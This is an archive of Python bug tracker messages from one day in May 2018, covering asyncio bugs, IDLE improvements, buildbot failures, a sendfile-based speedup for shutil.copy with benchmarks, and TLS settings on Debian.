From: report at bugs.python.org (Steven D'Aprano) Date: Thu, 24 May 2018 17:54:17 +0000 Subject: [issue33636] Unexpected behavior with * and arrays In-Reply-To: <1527174343.74.0.682650639539.issue33636@psf.upfronthosting.co.za> Message-ID: <20180524171707.GQ12683@ando.pearwood.info> Steven D'Aprano added the comment: Nathan, the bug tracker is not the place to debate Python behaviour. For the purposes of the bug tracker, all we need say is that it is documented behaviour and not a bug. If you want to change that behaviour, there is a process to follow, and asking snarky questions on the tracker isn't part of it. The principle of having multiple references to the same object is fundamental to Python, and very often useful. It's how objects are passed to functions, it is used for many forms of shared data. Your description of object sharing as "nonsense" and having no use-case is way off the mark. But if it makes you feel better, the SPECIFIC example you ran into: [[]]*5 # makes 5 references to the same [] object is rarely directly useful itself. It is certainly a "gotcha" that most Python programmers will stumble against at one time or another. But the behaviour follows from some fundamental designs of the language. Copying objects is expensive, and often unnecessary. The Python interpreter does not automatically make copies of objects. The list.__mul__ method cannot know whether you require shallow copies, or deep copies, and for the majority of use-cases for list replication, copying would be unnecessary. So the * operator simply duplicates references. If you want copies, you have to copy the objects yourself. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 14:04:33 2018 From: report at bugs.python.org (Steve Dower) Date: Thu, 24 May 2018 18:04:33 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> Message-ID: <1527185073.54.0.682650639539.issue33614@psf.upfronthosting.co.za> Steve Dower added the comment: Considering we didn't change anything in the sources, I wouldn't expect it to be fixed. It doesn't have to block 3.7 if Ned's okay with it, but I'd like to keep this open and fix the build scripts. ---------- resolution: fixed -> stage: resolved -> needs patch status: closed -> open versions: -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 14:16:40 2018 From: report at bugs.python.org (Ned Deily) Date: Thu, 24 May 2018 18:16:40 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> Message-ID: <1527185800.15.0.682650639539.issue33614@psf.upfronthosting.co.za> Ned Deily added the comment: Sorry, I *did* close the issue prematurely; thanks for noticing! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 14:20:18 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 24 May 2018 18:20:18 +0000 Subject: [issue33610] IDLE: Make multiple improvements to CodeContext In-Reply-To: <1527052692.02.0.682650639539.issue33610@psf.upfronthosting.co.za> Message-ID: <1527186018.21.0.682650639539.issue33610@psf.upfronthosting.co.za> Terry J. Reedy added the comment: With #33628 merged, I consider the next priorities to be 5. #22703 (overt bug, highest), 7, and 8, to make the feature more usable. 10. is a vague speculative feature that would use get_indent_firstword but would actually be for the editor. Update problem: It requires a representation of the structure of the entire code, and any edit could change that. The saving grace of code context is that it only maintains information about the invisible lines above the cursor. More feasible than item 10 would be 14. Block structure navigation: As near as I can tell, Alt-arrowkey is currently the same as arrowkey. Have Alt-Up and Alt-Down move to the next block line above or below with the same indent and Alt-Left, Alt-Right move up and out (smaller indent) or down and in (larger indent). 15. (Instead of 4b. One font loop for class.) Replace font loop with font-change notification by the editor when the editor gets such a notification (which is very rare). 16. (Instead of 4a. One font loop for class.) The current loops update every window 10 times a second, which is about the upper limit for a great typist or normal scroller. But only an active editor window needs updating, and there is at most 1. Most checks are wasted. 16A. Replace update loop with notification of visible display changes. Pro: We already monitor key and mouse actions. Anti: the event loop is simple. 16B. Only run update loop in active window. Anti: I don't think we currently monitor window focus. Pro: if we don't, we will need to for a multipane, multitab IDLE. (Stopping should be easy: check status before after call in callback. This automatically does a last update after focus gone.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 14:24:32 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Thu, 24 May 2018 18:24:32 +0000 Subject: [issue33637] pip cannot build extensions for debug Python In-Reply-To: <1527181847.69.0.682650639539.issue33637@psf.upfronthosting.co.za> Message-ID: <1527186272.16.0.682650639539.issue33637@psf.upfronthosting.co.za> Ivan Pozdeev added the comment: >one will see all the variables and call hierarchy and be able to step through the code. With optimizations, the current line jumps unpredictably, and some lines can't be visited because they're optimized away. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 14:27:32 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Thu, 24 May 2018 18:27:32 +0000 Subject: [issue33610] IDLE: Make multiple improvements to CodeContext In-Reply-To: <1527052692.02.0.682650639539.issue33610@psf.upfronthosting.co.za> Message-ID: <1527186452.82.0.682650639539.issue33610@psf.upfronthosting.co.za> Cheryl Sabella added the comment: I've started looking at #22703, more specifically, I've been trying to recreate it. Since the config changes in 3.6/3.7 where the flag was removed from config dialog, the code context needs to be turned on explicitly for each editor. 3.5 has the old behavior. So, I think the current change would be to add it back to config but with the behavior defined in #22703. I hope to have a PR within the next few days. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 14:28:24 2018 From: report at bugs.python.org (Yury Selivanov) Date: Thu, 24 May 2018 18:28:24 +0000 Subject: [issue33623] Fix possible SIGSGV when asyncio.Future is created in __del__ In-Reply-To: <1527101746.49.0.682650639539.issue33623@psf.upfronthosting.co.za> Message-ID: <1527186504.17.0.682650639539.issue33623@psf.upfronthosting.co.za> Yury Selivanov added the comment: > Then we should find what callable is NULL and fix the place where it is called. _PyObject_FastCallDict() should never be called with NULL. My understanding is that the interpreter is being shutdown and half of the objects are freed. We're still holding a reference to *something* in Python space and try calling it. The obvious fix for that is simply avoid capturing tracebacks if a Future object is created during finalization of the interpreter (it's pointless to capture it anyways at that point). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 14:39:04 2018 From: report at bugs.python.org (Yury Selivanov) Date: Thu, 24 May 2018 18:39:04 +0000 Subject: [issue30773] async generator receives wrong value when shared between coroutines In-Reply-To: <1498503333.78.0.356156621032.issue30773@psf.upfronthosting.co.za> Message-ID: <1527187144.04.0.682650639539.issue30773@psf.upfronthosting.co.za> Yury Selivanov added the comment: Thanks Jan. Thanks a lot for a short script to reproduce this bug. The actual problem here is that asynchronous generators don't control their 'asend' and 'athrow' coroutines in any way. So if you have two of them iterating *in parallel* they will cause their asynchronous generator to be in an inconsistent state. The most obvious solution to this problem is to prohibit iterating 'asend'/'athrow' objects in parallel by throwing an exception. Nathaniel, what are your thoughts on this? ---------- nosy: +njs _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 14:39:39 2018 From: report at bugs.python.org (Yury Selivanov) Date: Thu, 24 May 2018 18:39:39 +0000 Subject: [issue30773] async generator receives wrong value when shared between coroutines In-Reply-To: <1498503333.78.0.356156621032.issue30773@psf.upfronthosting.co.za> Message-ID: <1527187179.69.0.682650639539.issue30773@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- assignee: -> yselivanov components: +Interpreter Core -asyncio priority: normal -> high versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 15:10:23 2018 From: report at bugs.python.org (christof) Date: Thu, 24 May 2018 19:10:23 +0000 Subject: [issue33638] condition lock not re-acquired Message-ID: <1527189023.9.0.682650639539.issue33638@psf.upfronthosting.co.za> New submission from christof : Hello, I have a simple code which triggers a timeout if a task did not complete import asyncio async def task_timeout(): condition = asyncio.Condition() with await condition: try: await asyncio.wait_for(condition.wait(), timeout=4) except asyncio.TimeoutError as e: print("timeout reached") # uncomment this line to make the code work # await asyncio.sleep(0) f = asyncio.ensure_future(task_timeout()) loop= asyncio.get_event_loop() loop.run_until_complete(f) It throws an exception when leaving the scope for the condition because it expects the lock to be acquired: RuntimeError: Lock is not acquired. If you uncomment the line to sleep, it will work because it will continue in the coroutine Condition.wait and call: yield from self.acquire() => locks.py line 355 I think this is a bug and that this behaviour is not the expected one. ---------- components: asyncio messages: 317604 nosy: asvetlov, christof, yselivanov priority: normal severity: normal status: open title: condition lock not re-acquired type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 15:14:14 2018 From: report at bugs.python.org (Nathaniel Smith) Date: Thu, 24 May 2018 19:14:14 +0000 Subject: [issue30773] async generator receives wrong value when shared between coroutines In-Reply-To: <1498503333.78.0.356156621032.issue30773@psf.upfronthosting.co.za> Message-ID: <1527189254.71.0.682650639539.issue30773@psf.upfronthosting.co.za> Nathaniel Smith added the comment: My thoughts: https://bugs.python.org/issue32526#msg309783 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 15:16:16 2018 From: report at bugs.python.org (David Bolen) Date: Thu, 24 May 2018 19:16:16 +0000 Subject: [issue33355] Windows 10 buildbot: 15 min timeout on test_mmap.test_large_filesize() In-Reply-To: <1524666296.0.0.682650639539.issue33355@psf.upfronthosting.co.za> Message-ID: <1527189376.97.0.682650639539.issue33355@psf.upfronthosting.co.za> David Bolen added the comment: For my buildbots, I suspect win8/win10 should be ok at this point. Among any other changes their local disk appears to be an SSD now, which makes a big difference. I observed steady 250-300MB/s write I/O for the duration of the mmap test, for example, so no wonder that test highlights any I/O bottlenecks. Those two buildbots are independent so it's more a question of running the tests at all versus just on one. On the other hand, win7/winxp compete on the same host, with traditional disks. So including winxp as a slow windows build together with win7 couldn't hurt, although as 2.7 only, winxp runs far fewer tests nowadays. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 15:19:56 2018 From: report at bugs.python.org (Yury Selivanov) Date: Thu, 24 May 2018 19:19:56 +0000 Subject: [issue30773] async generator receives wrong value when shared between coroutines In-Reply-To: <1498503333.78.0.356156621032.issue30773@psf.upfronthosting.co.za> Message-ID: <1527189596.61.0.682650639539.issue30773@psf.upfronthosting.co.za> Yury Selivanov added the comment: Thanks, I'll look into adding ag_running properly. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 15:47:31 2018 From: report at bugs.python.org (Brett Cannon) Date: Thu, 24 May 2018 19:47:31 +0000 Subject: [issue33629] test_importlib creates a coredump on AMD64 FreeBSD 10.x Shared 3.7 In-Reply-To: <1527125895.06.0.682650639539.issue33629@psf.upfronthosting.co.za> Message-ID: <1527191251.11.0.682650639539.issue33629@psf.upfronthosting.co.za> Change by Brett Cannon : ---------- nosy: +ncoghlan, petr.viktorin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 15:53:41 2018 From: report at bugs.python.org (christof) Date: Thu, 24 May 2018 19:53:41 +0000 Subject: [issue33638] condition lock not re-acquired In-Reply-To: <1527189023.9.0.682650639539.issue33638@psf.upfronthosting.co.za> Message-ID: <1527191621.1.0.682650639539.issue33638@psf.upfronthosting.co.za> christof added the comment: In my previous comment, what I want to implement is not a timeout for a task to complete but more precisely a timeout triggered if the coroutine was not wake up by a notify on the condition. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 16:02:35 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 24 May 2018 20:02:35 +0000 Subject: [issue22703] Idle Code Context: separate changing current and future editors In-Reply-To: <1414023415.32.0.701318253357.issue22703@psf.upfronthosting.co.za> Message-ID: <1527192155.4.0.682650639539.issue22703@psf.upfronthosting.co.za> Terry J. Reedy added the comment: [In #33610, msg317601, Cheryl Sabella wrote, copying here:] I've started looking at #22703, more specifically, I've been trying to recreate it. Since the config changes in 3.6/3.7 where the flag was removed from config dialog, the code context needs to be turned on explicitly for each editor. 3.5 has the old behavior. So, I think the current change would be to add it back to config but with the behavior defined in #22703. I hope to have a PR within the next few days. [ I will respond in a new message after investigating the current situation, versus 3 1/2 years ago.] ---------- nosy: +cheryl.sabella versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 16:09:45 2018 From: report at bugs.python.org (Kurt Roeckx) Date: Thu, 24 May 2018 20:09:45 +0000 Subject: [issue31453] Debian Sid/Buster: Cannot enable TLS 1.0/1.1 with PROTOCOL_TLS In-Reply-To: <1505317705.14.0.640405907228.issue31453@psf.upfronthosting.co.za> Message-ID: <1527192585.12.0.682650639539.issue31453@psf.upfronthosting.co.za> Kurt Roeckx added the comment: Note that the version in experimental only supports TLS 1.2 and 1.3 with the default config. It's moved from fixed in the code, to the default config file. I expect to upload that to unstable "soon", at which point people will be affected by this again. ---------- nosy: +kroeckx _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 16:15:29 2018 From: report at bugs.python.org (Giampaolo Rodola') Date: Thu, 24 May 2018 20:15:29 +0000 Subject: [issue33639] Use high-performance os.sendfile() in shutil.copy* Message-ID: <1527192929.89.0.682650639539.issue33639@psf.upfronthosting.co.za> New submission from Giampaolo Rodola' : This is a follow up of #25063 and similar to socket.sendfile() (#17552). It provides a 20/25% speedup when copying files with shutil.copyfile(), shutil.copy() and shutil.copy2(). Differently from #25063 this is used for filesystem files only and copyfileobj() is left alone. Unmerged #26826 is also related to this. I applied #26826 patch and built a wrapper around copy_file_range() and the speedup is basically the same. Nevertheless, even when #26826 gets merged it probably makes sense to rely on sendfile() in case copy_file_range() is not available (it was introduced in 2016) or the UNIX platform supports file-to-file copy via sendfile(2) (even though I'm not aware of any, so this would basically be Linux-only). Some benchmarks: $ dd if=/dev/urandom of=/tmp/f1 bs=1K count=128 $ time ./python -m timeit -s 'import shutil; p1 = "/tmp/f1"; p2 = "/tmp/f2"' 'shutil.copyfile(p1, p2)' 128K copy ========= --- without patch: 2000 loops, best of 5: 160 usec per loop real 0m2.353s user 0m0.454s sys 0m1.435s --- with patch: 2000 loops, best of 5: 187 usec per loop real 0m2.724s user 0m0.627s sys 0m1.634s 8MB copy ======== $ dd if=/dev/urandom of=/tmp/f1 bs=1M count=8 --- without patch: 50 loops, best of 5: 9.51 msec per loop real 0m3.392s user 0m0.343s sys 0m2.478s --- with patch: 50 loops, best of 5: 7.75 msec per loop real 0m2.878s user 0m0.105s sys 0m2.187s 512MB copy ========== --- without patch: 1 loop, best of 5: 872 msec per loop real 0m5.574s user 0m0.402s sys 0m3.115s --- with patch: 1 loop, best of 5: 646 msec per loop real 0m5.475s user 0m0.037s sys 0m2.959s ---------- components: Library (Lib) messages: 317611 nosy: StyXman, desbma, facundobatista, giampaolo.rodola, martin.panter, ncoghlan, neologix, petr.viktorin, python-dev, r.david.murray, vstinner priority: normal severity: normal stage: patch review status: open title: Use high-performance os.sendfile() in shutil.copy* type: performance versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 16:17:11 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 20:17:11 +0000 Subject: [issue33612] Assertion failure in PyThreadState_Clear In-Reply-To: <1527059860.79.0.682650639539.issue33612@psf.upfronthosting.co.za> Message-ID: <1527193030.99.0.682650639539.issue33612@psf.upfronthosting.co.za> STINNER Victor added the comment: > Thank you for fixing this Victor! You're welcome. It's always a pleasure to remove code! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 16:17:23 2018 From: report at bugs.python.org (Zachary Ware) Date: Thu, 24 May 2018 20:17:23 +0000 Subject: [issue33634] Buildbot configuration issue on Windows7 buildbots In-Reply-To: <1527161504.95.0.682650639539.issue33634@psf.upfronthosting.co.za> Message-ID: <1527193043.97.0.682650639539.issue33634@psf.upfronthosting.co.za> Zachary Ware added the comment: This was fixed by https://github.com/python/buildmaster-config/pull/36 ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 16:18:00 2018 From: report at bugs.python.org (Giampaolo Rodola') Date: Thu, 24 May 2018 20:18:00 +0000 Subject: [issue33639] Use high-performance os.sendfile() in shutil.copy* In-Reply-To: <1527192929.89.0.682650639539.issue33639@psf.upfronthosting.co.za> Message-ID: <1527193080.37.0.682650639539.issue33639@psf.upfronthosting.co.za> Change by Giampaolo Rodola' : ---------- keywords: +patch pull_requests: +6737 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 16:19:37 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 20:19:37 +0000 Subject: [issue33629] test_importlib creates a coredump on AMD64 FreeBSD 10.x Shared 3.7 In-Reply-To: <1527125895.06.0.682650639539.issue33629@psf.upfronthosting.co.za> Message-ID: <1527193177.0.0.682650639539.issue33629@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset 483000e164ec68717d335767b223ae31b4b720cf by Victor Stinner in branch 'master': bpo-33629: Prevent coredump in test_importlib (GH-7090) https://github.com/python/cpython/commit/483000e164ec68717d335767b223ae31b4b720cf ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 16:19:37 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 20:19:37 +0000 Subject: [issue32374] Document that m_traverse for multi-phase initialized modules can be called with m_state=NULL In-Reply-To: <1513694438.46.0.213398074469.issue32374@psf.upfronthosting.co.za> Message-ID: <1527193177.1.0.262363346258.issue32374@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset 483000e164ec68717d335767b223ae31b4b720cf by Victor Stinner in branch 'master': bpo-33629: Prevent coredump in test_importlib (GH-7090) https://github.com/python/cpython/commit/483000e164ec68717d335767b223ae31b4b720cf ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 16:20:56 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 24 May 2018 20:20:56 +0000 Subject: [issue33629] test_importlib creates a coredump on AMD64 FreeBSD 10.x Shared 3.7 In-Reply-To: <1527125895.06.0.682650639539.issue33629@psf.upfronthosting.co.za> Message-ID: <1527193256.0.0.682650639539.issue33629@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6738 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 16:20:56 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 24 May 2018 20:20:56 +0000 Subject: [issue32374] Document that m_traverse for multi-phase initialized modules can be called with m_state=NULL In-Reply-To: <1513694438.46.0.213398074469.issue32374@psf.upfronthosting.co.za> Message-ID: <1527193256.13.0.0935424498089.issue32374@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6739 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 16:21:52 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 24 May 2018 20:21:52 +0000 Subject: [issue33629] test_importlib creates a coredump on AMD64 FreeBSD 10.x Shared 3.7 In-Reply-To: <1527125895.06.0.682650639539.issue33629@psf.upfronthosting.co.za> Message-ID: <1527193312.84.0.682650639539.issue33629@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6740 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 16:21:52 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 24 May 2018 20:21:52 +0000 Subject: [issue32374] Document that m_traverse for multi-phase initialized modules can be called with m_state=NULL In-Reply-To: <1513694438.46.0.213398074469.issue32374@psf.upfronthosting.co.za> Message-ID: <1527193312.95.0.0935424498089.issue32374@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6741 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 16:24:02 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 20:24:02 +0000 Subject: [issue32374] Document that m_traverse for multi-phase initialized modules can be called with m_state=NULL In-Reply-To: <1513694438.46.0.213398074469.issue32374@psf.upfronthosting.co.za> Message-ID: <1527193442.91.0.682650639539.issue32374@psf.upfronthosting.co.za> STINNER Victor added the comment: MultiPhaseExtensionModuleTests.test_bad_traverse() of Lib/test/test_importlib/extension/test_loader.py runs the following code: --- import importlib.util as util spec = util.find_spec('_testmultiphase') spec.name = '_testmultiphase_with_bad_traverse' m = spec.loader.create_module(spec) --- And then check that the Python "failed": that the exit code is non-zero... That's a weak test: if the script fails before calling spec.loader.create_module(), the test also pass. If the function raises an exception but don't crash, the test pass as well. More generally, I'm not sure about the idea of making sure that doing bad stuff with traverse does crash. What is the purpose of the test? In the meanwhile, I fixed bpo-33629 by adding test.support.SuppressCrashReport(). I'm not asking to do something. Maybe it's fine to keep the current test. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 16:27:11 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 24 May 2018 20:27:11 +0000 Subject: [issue33622] Fix errors handling in the garbage collector In-Reply-To: <1527097280.42.0.682650639539.issue33622@psf.upfronthosting.co.za> Message-ID: <1527193631.75.0.682650639539.issue33622@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 9044cd675902b438bc500908e410382ff48299d8 by Serhiy Storchaka in branch '2.7': [2.7] bpo-33622: Fix issues with handling errors in the GC. (GH-7078) (#7096) https://github.com/python/cpython/commit/9044cd675902b438bc500908e410382ff48299d8 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 16:31:36 2018 From: report at bugs.python.org (Christian Heimes) Date: Thu, 24 May 2018 20:31:36 +0000 Subject: [issue31453] Debian Sid/Buster: Cannot enable TLS 1.0/1.1 with PROTOCOL_TLS In-Reply-To: <1505317705.14.0.640405907228.issue31453@psf.upfronthosting.co.za> Message-ID: <1527193896.3.0.682650639539.issue31453@psf.upfronthosting.co.za> Christian Heimes added the comment: Thanks Kurt, which API are you using to disable TLS 1.0 and 1.1? Is it the old SSL_CTX_set_options() or the new SSL_CTX_set_min/max_proto_version() API? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 16:36:41 2018 From: report at bugs.python.org (Kurt Roeckx) Date: Thu, 24 May 2018 20:36:41 +0000 Subject: [issue31453] Debian Sid/Buster: Cannot enable TLS 1.0/1.1 with PROTOCOL_TLS In-Reply-To: <1505317705.14.0.640405907228.issue31453@psf.upfronthosting.co.za> Message-ID: <1527194201.51.0.682650639539.issue31453@psf.upfronthosting.co.za> Kurt Roeckx added the comment: The effect is the same as calling SSL_CTX_set_min_proto_version(). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 16:45:00 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 24 May 2018 20:45:00 +0000 Subject: [issue33629] test_importlib creates a coredump on AMD64 FreeBSD 10.x Shared 3.7 In-Reply-To: <1527125895.06.0.682650639539.issue33629@psf.upfronthosting.co.za> Message-ID: <1527194699.99.0.682650639539.issue33629@psf.upfronthosting.co.za> miss-islington added the comment: New changeset d9eb22c67c38b45764dd924801c72092770d200f by Miss Islington (bot) in branch '3.7': bpo-33629: Prevent coredump in test_importlib (GH-7090) https://github.com/python/cpython/commit/d9eb22c67c38b45764dd924801c72092770d200f ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 16:45:00 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 24 May 2018 20:45:00 +0000 Subject: [issue32374] Document that m_traverse for multi-phase initialized modules can be called with m_state=NULL In-Reply-To: <1513694438.46.0.213398074469.issue32374@psf.upfronthosting.co.za> Message-ID: <1527194700.13.0.262363346258.issue32374@psf.upfronthosting.co.za> miss-islington added the comment: New changeset d9eb22c67c38b45764dd924801c72092770d200f by Miss Islington (bot) in branch '3.7': bpo-33629: Prevent coredump in test_importlib (GH-7090) https://github.com/python/cpython/commit/d9eb22c67c38b45764dd924801c72092770d200f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 16:46:51 2018 From: report at bugs.python.org (desbma) Date: Thu, 24 May 2018 20:46:51 +0000 Subject: [issue33639] Use high-performance os.sendfile() in shutil.copy* In-Reply-To: <1527192929.89.0.682650639539.issue33639@psf.upfronthosting.co.za> Message-ID: <1527194811.33.0.682650639539.issue33639@psf.upfronthosting.co.za> desbma added the comment: Duplicate of https://bugs.python.org/issue25156 ? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 16:53:08 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 20:53:08 +0000 Subject: [issue33354] Python2: test_ssl fails on non-ASCII path In-Reply-To: <1524665655.9.0.682650639539.issue33354@psf.upfronthosting.co.za> Message-ID: <1527195188.03.0.682650639539.issue33354@psf.upfronthosting.co.za> STINNER Victor added the comment: Oh. I approved the PR but it's not merged yet :-/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 17:07:46 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 24 May 2018 21:07:46 +0000 Subject: [issue33629] test_importlib creates a coredump on AMD64 FreeBSD 10.x Shared 3.7 In-Reply-To: <1527125895.06.0.682650639539.issue33629@psf.upfronthosting.co.za> Message-ID: <1527196066.82.0.682650639539.issue33629@psf.upfronthosting.co.za> miss-islington added the comment: New changeset fc0356d2a34719df517a5056bf1a3709850776cf by Miss Islington (bot) in branch '3.6': bpo-33629: Prevent coredump in test_importlib (GH-7090) https://github.com/python/cpython/commit/fc0356d2a34719df517a5056bf1a3709850776cf ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 17:07:46 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 24 May 2018 21:07:46 +0000 Subject: [issue32374] Document that m_traverse for multi-phase initialized modules can be called with m_state=NULL In-Reply-To: <1513694438.46.0.213398074469.issue32374@psf.upfronthosting.co.za> Message-ID: <1527196066.94.0.262363346258.issue32374@psf.upfronthosting.co.za> miss-islington added the comment: New changeset fc0356d2a34719df517a5056bf1a3709850776cf by Miss Islington (bot) in branch '3.6': bpo-33629: Prevent coredump in test_importlib (GH-7090) https://github.com/python/cpython/commit/fc0356d2a34719df517a5056bf1a3709850776cf ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 17:08:45 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 21:08:45 +0000 Subject: [issue33640] uuid: endian of the bytes argument is not documented Message-ID: <1527196125.95.0.682650639539.issue33640@psf.upfronthosting.co.za> New submission from STINNER Victor : I don't understand what is the endian of the 'bytes' parameter of the uuid.UUID constructor: https://docs.python.org/dev/library/uuid.html#uuid.UUID According to examples, it seems like the endian is big endian, but I'm not sure. Related issue: bpo-32493. ---------- assignee: docs at python components: Documentation messages: 317626 nosy: docs at python, vstinner priority: normal severity: normal status: open title: uuid: endian of the bytes argument is not documented versions: Python 2.7, Python 3.6, Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 18:01:34 2018 From: report at bugs.python.org (Giampaolo Rodola') Date: Thu, 24 May 2018 22:01:34 +0000 Subject: [issue33639] Use high-performance os.sendfile() in shutil.copy* In-Reply-To: <1527192929.89.0.682650639539.issue33639@psf.upfronthosting.co.za> Message-ID: <1527199294.35.0.682650639539.issue33639@psf.upfronthosting.co.za> Giampaolo Rodola' added the comment: Oh! I got confused by the fact that #25063 was rejected due to concerns about copyfileobj() otherwise I would have commented on your patch which I totally missed. Yes, this overlaps with #25156 patch but it uses the same logic of socket.sendfile() which IMO is more robust. If you agree I'd close #25156 and continue in here, and I'm more than happy to co-author the contribution if that's OK with you. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 18:03:49 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 22:03:49 +0000 Subject: [issue25156] shutil.copyfile should internally use os.sendfile when possible In-Reply-To: <1442520485.03.0.419427125487.issue25156@psf.upfronthosting.co.za> Message-ID: <1527199429.64.0.682650639539.issue25156@psf.upfronthosting.co.za> STINNER Victor added the comment: Different implementation: bpo-33639. ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 18:14:54 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 24 May 2018 22:14:54 +0000 Subject: [issue33641] Add links to RFCs Message-ID: <1527200094.65.0.682650639539.issue33641@psf.upfronthosting.co.za> New submission from Serhiy Storchaka : The proposed PR replaces "RFC XYZ" with ":rfc:`XYZ`". This adds hyperlinks to RFC documents. Actually 85% of all RFC references already use this markup, the PR change the rest 15% written as plain text. ---------- assignee: docs at python components: Documentation messages: 317629 nosy: docs at python, serhiy.storchaka priority: normal severity: normal status: open title: Add links to RFCs versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 18:15:58 2018 From: report at bugs.python.org (desbma) Date: Thu, 24 May 2018 22:15:58 +0000 Subject: [issue33639] Use high-performance os.sendfile() in shutil.copy* In-Reply-To: <1527192929.89.0.682650639539.issue33639@psf.upfronthosting.co.za> Message-ID: <1527200158.84.0.682650639539.issue33639@psf.upfronthosting.co.za> desbma added the comment: Honestly, whatever gets this thing moving forward is good with me. I'm a bit depressed by the number of issues here that have a good patch waiting to be merged, or even read, and that languish for years. I haven't read your patch in detail, but if others agree that it is better than mine and can be merged, let's do it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 18:17:21 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 24 May 2018 22:17:21 +0000 Subject: [issue33641] Add links to RFCs In-Reply-To: <1527200094.65.0.682650639539.issue33641@psf.upfronthosting.co.za> Message-ID: <1527200241.82.0.682650639539.issue33641@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- keywords: +patch pull_requests: +6742 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 18:20:47 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 22:20:47 +0000 Subject: [issue33354] Python2: test_ssl fails on non-ASCII path In-Reply-To: 